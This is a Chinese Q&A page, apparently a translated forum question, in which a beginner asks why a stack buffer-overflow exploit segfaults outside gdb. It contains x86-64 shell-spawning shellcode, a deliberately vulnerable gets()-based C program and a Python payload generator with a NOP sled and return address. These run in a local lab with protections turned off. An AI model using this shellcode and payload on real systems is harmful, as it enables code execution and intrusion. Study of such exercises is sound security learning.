首页 > 解决方案 > 为什么shellcode会出现分段错误?

问题描述

我是缓冲区溢出攻击的新手。

我从http://shell-storm.org/shellcode/files/shellcode-76.php复制 shellcode

我编写了 ac 脚本来测试 shellcode。

它看起来像这样:

char * shellcode =  "\x48\x31\xD2\x48\xBB\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x48\x31\xC0\x50\x57 \x48\x89\xE6\xB0\x3B\x0F\x05\x6A\x01\x5F\x6A\x3C\x58\x0F\x05";

int main(){
    void (*f) ()= (void(*)())shellcode;
    (*f)();
    return 0;
}

它运作良好。它可以生成一个外壳。但是当我编写另一个 c 脚本“tS.c”来测试 shellcode 时,我遇到了分段错误。

我的 c 脚本如下所示:

void hello(){
    char s[144];
    gets(s);
    printf("%s\n", s);
}

int main(){
    hello();
    return 0;
}

我使用 python 脚本“sc.py”来生成我的有效负载。

它看起来像:

s_storm = "\x48\x31\xD2\x48\xBB\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x48\x31\xC0\x50\x57\x48\x89\xE6\xB0\x3B\x0F\x05\x6A\x01\x5F\x6A\x3C\x58\x0F\x05"

attack = s_storm
size = len(attack)
nops = '\x90'*(144 - size)
retAddr = 0x7fffffffde14 
ex = nops + attack + '\x00'*8 + p64(retAddr)  
print ex

有效载荷在 gdb 中工作,它可以成功生成一个 shell。所以我不知道我在哪里做错了。

我通过以下方式编译了我的 c 脚本:

gcc tS.c -o ts -z execstack -fno-stack-protector -no-pie

我还关闭了 Linux 中的 aslr。我尝试了不同的方法将有效负载提供给进程:

(python sc.py; cat)| ./ts
./ts <exploit

我使用的是 Ubuntu64,我的 Linux 版本是 5.0.0-37-generic。

有人可以告诉我我哪里做错了,或者给我一些关于我应该读什么的建议吗?

标签: clinuxbuffer-overflowshellcodestack-smash

解决方案


推荐阅读